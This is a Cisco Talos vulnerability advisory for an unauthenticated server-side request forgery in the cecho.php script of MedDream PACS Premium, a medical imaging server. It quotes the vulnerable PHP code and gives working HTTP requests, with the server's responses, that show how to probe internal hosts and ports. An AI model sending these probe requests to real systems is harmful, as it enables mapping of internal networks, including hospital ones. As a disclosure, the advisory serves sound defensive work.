Talos Vulnerability Report

TALOS-2025-2177

MedDream PACS Premium cecho.php SSRF vulnerability

July 28, 2025
CVE Number

CVE-2025-24485

SUMMARY

A server-side request forgery vulnerability exists in the cecho.php functionality of MedDream PACS Premium 7.3.5.860. A specially crafted HTTP request can lead to SSRF. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.5.860

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

5.8 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A pre-authentication server-side request forgery vulnerability exists in the cecho.php script.
The vulnerable code looks as follow:

    //cecho.php
Line 9  require_once 'locale.php';
Line 10 include_once "dicom.php";
Line 11
Line 12 $ipaddr = $_REQUEST['ipaddr'];
Line 13 $hostname = $_REQUEST['hostname'];
Line 14 $port = $_REQUEST['port'];
Line 15 $aetitle = $_REQUEST['aetitle'];
Line 16 $mytitle = $_REQUEST['mytitle'];
Line 17 $tls = $_REQUEST['tls'];
Line 18 $error = '';
Line 19 $assoc = new Association($ipaddr, $hostname, $port, $aetitle, $mytitle, $tls);

As we can see, an attacker is able to control all of the arguments passed to the Association class constructor.
Going deeper, we can see the following functionality:

Line    class Association extends BaseObject {
Line    (...)
Line 3377       function __construct($ip, $host, $port, $called, $calling, $tls = 0) {
Line 3378           $address = (strlen($ip))? $ip : $host;
Line 3379           $errno = 0;
Line 3380           $errstr = '';
Line 3381           if ($tls) {
Line 3382               $options = $this->getSSLContextOptions($calling);
Line 3383               if (empty($options))
Line 3384                   die ('<font color=red>' . pacsone_gettext("Failed to load SSL Context Options") . '</font>');
Line 3385               $context = stream_context_create($options);
Line 3386               $remote = "ssl://$address:$port";
Line 3387               $this->socket = stream_socket_client($remote, $errno, $errstr, $this->TIMEOUT, STREAM_CLIENT_CONNECT, $context);
Line 3388           } else
Line 3389               $this->socket = fsockopen($address, $port, $errno, $errstr, $this->TIMEOUT);

In line 3389, there is a call to the fsockopen function with an argument $address, which is set based on the $ip argument that an attacker can control, as well as the $port argument.
As a result, an attacker can abuse this functionality to discover online hosts inside the internal network and the daemons associated with them.
By analyzing different error responses, an attacker can gain information on whether the target host has an active service on a specific port or not.

Example when host is online and there is active service on specified port:

REQ
GET /Pacs/cecho.php?ipaddr=127.0.0.1&port=12345 HTTP/1.1
Host: 192.168.155.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

RESP
HTTP/1.1 200 OK
Date: Thu, 17 Apr 2025 16:10:45 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.11
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 84
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br><font color=red>Verify() failed: error = Association request rejected</font><br>

Example when host or daemon is NOT available:

REQ

GET /Pacs/cecho.php?ipaddr=127.0.0.1&port=12345 HTTP/1.1
Host: 192.168.155.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

RESP
    
HTTP/1.1 200 OK
Date: Thu, 17 Apr 2025 16:11:21 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.11
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 138
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<font color=red>Failed to open Dicom association: No connection could be made because the target machine actively refused it(10061)</font>

Using this technique, an attacker is able to fully map the internal network.

TIMELINE

2025-04-29 - Initial Vendor Contact
2025-04-29 - Vendor Disclosure
2025-07-28 - Vendor Patch Release
2025-07-28 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.